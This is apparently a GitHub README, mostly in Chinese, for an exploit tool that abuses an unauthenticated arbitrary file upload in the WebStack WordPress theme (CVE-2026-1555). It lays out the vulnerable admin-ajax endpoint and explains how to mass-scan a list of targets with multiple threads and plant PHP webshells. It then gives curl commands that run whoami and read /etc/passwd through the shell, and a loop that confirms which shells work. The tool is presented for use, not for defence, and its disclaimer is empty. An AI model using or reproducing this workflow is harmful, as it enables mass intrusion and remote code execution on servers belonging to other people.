Nxploited/CVE-2026-1555

GitHub: Nxploited/CVE-2026-1555

针对 CVE-2026-1555 的未认证任意文件上传漏洞利用工具,实现批量探测与 Webshell 上传。

Stars: 1 | Forks: 0

# CVE-2026-1555 WebStack <= 1.2024 - 未认证任意文件上传
# 👤 作者: [Nxploited](https://github.com/Nxploited) ### 🔗 Nxploited 零日漏洞中心 — [t.me/KNxploited](https://t.me/KNxploited) # 💀 CVE-2026-1555 — WebStack WordPress 任意文件上传 **通过 `img_upload` AJAX 处理器实现未认证远程代码执行** ![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square) ![CVE](https://img.shields.io/badge/CVE-2026--1555-critical?style=flat-square&color=red) ![CVSS](https://img.shields.io/badge/CVSS-9.8%20CRITICAL-red?style=flat-square) ![Auth](https://img.shields.io/badge/Auth-None%20Required-orange?style=flat-square)
## 📌 漏洞概述 | 字段 | 详情 | |---|---| | **CVE ID** | CVE-2026-1555 | | **受影响组件** | WordPress 的 WebStack 主题 | | **受影响版本** | 所有版本直至 **1.2024** | | **漏洞类型** | 任意文件上传 → 远程代码执行 | | **是否需要认证** | ❌ 无需认证(未认证) | | **CVSS 分数** | **9.8 严重** | | **CVSS 向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CNA** | Wordfence | ### 🔬 技术根因 注册在 WordPress `admin-ajax.php` 动作钩子 `img_upload` 下的 `io_img_upload()` 函数在将上传文件写入服务器之前 **未执行任何文件类型或扩展名验证**。由于该动作未进行认证检查(使用了 `wp_ajax_nopriv_`),任何远程未认证攻击者均可 POST 任意文件(包括 PHP Webshell),服务器会将其存储到公开可访问的路径中,从而直接导致远程代码执行。 **易受攻击端点:** ``` POST /wp-admin/admin-ajax.php action=img_upload files=@ ``` ## ⚙️ 工具特性 - 🔁 多线程扫描,支持可配置的工作线程数 - 📋 支持通过目标列表文件批量导入目标 - 📤 自动从 JSON 响应中提取 Shell URL - 💾 成功获取的 Shell URL 自动保存至 `uploaded_paths.txt` - 🎨 丰富的终端 UI,支持实时进度跟踪 - 🔕 禁用 SSL 验证以获得最大兼容性 ## 📦 依赖要求 **Python 版本:** `3.8+` 安装依赖: ``` pip install requests rich urllib3 ``` ## 🚀 使用方法 ### 1. 准备目标列表 创建名为 `list.txt`(或任意你喜欢的名称)的文件,每行一个目标: ``` https://target1.com https://target2.com http://target3.com ``` ### 2. 准备 Payload 将你的 Webshell 放置在 **与脚本相同的目录** 中。示例: ``` # Minimal PHP webshell echo '' > shell.php ``` ### 3. 运行工具 ``` python CVE-2026-1555.py ``` 系统会提示你输入: | 提示 | 描述 | 默认值 | |---|---|---| | `Targets file` | 目标列表文件路径 | `list.txt` | | `Threads` | 并发工作线程数 | `6` | | `Local file to upload` | 要上传的 Payload 文件名(脚本目录内) | `shell.php` | ## 📤 输出与 Shell 提取 ### 实时输出 每次成功上传将打印: ``` ╭─ IMG_UPLOAD ──────────────────────────────────╮ │ Upload successful │ │ │ │ Target: https://target.com │ │ Shell URL: https://target.com/wp-content/... │ ╰────────────────────────────────────────────────╯ ``` ### 保存结果 所有成功的 Shell URL 将追加写入: ``` uploaded_paths.txt ``` ### 访问 Shell 成功上传后,可直接通过浏览器或 curl 访问 Shell: ``` # 浏览器 https://target.com/wp-content/uploads/shell.php?cmd=id # curl curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami" # 完整命令执行 curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd" ``` ### 批量 Shell 验证 可快速验证输出文件中所有已上传的 Shell: ``` while read url; do echo -n "[*] $url -> " curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD" done < uploaded_paths.txt ``` ## 📊 运行总结输出 每次运行结束后,将打印总结信息: ``` Summary 50/50 OK: 12 FAIL: 38 ╭──────────────────────────────────────────╮ │ Shell URLs saved to uploaded_paths.txt │ ╰──────────────────────────────────────────╯ ``` ## 🗂️ 文件结构 ``` CVE-2026-1555.py ← Main exploit script list.txt ← Target URLs (one per line) shell.php ← Payload to upload uploaded_paths.txt ← Auto-generated: successful shell URLs ``` ## ⚠️ 免责声明
**👤 作者:** [Nxploited](https://github.com/Nxploited) **📣 频道:** [Nxploited 零日漏洞中心](https://t.me/KNxploited) **💬 Telegram:** [@KNxploited](https://t.me/KNxploited)
标签:admin-ajax.php, CISA项目, Critical, CVE-2026-1555, CVSS 9.8, img_upload, PHP webshell, RCE, SEO, T1190, WebStack, Wordfence, WordPress, 任意文件上传, 多线程扫描, 文件上传漏洞, 无服务器架构, 未认证, 编程工具, 远程代码执行, 逆向工具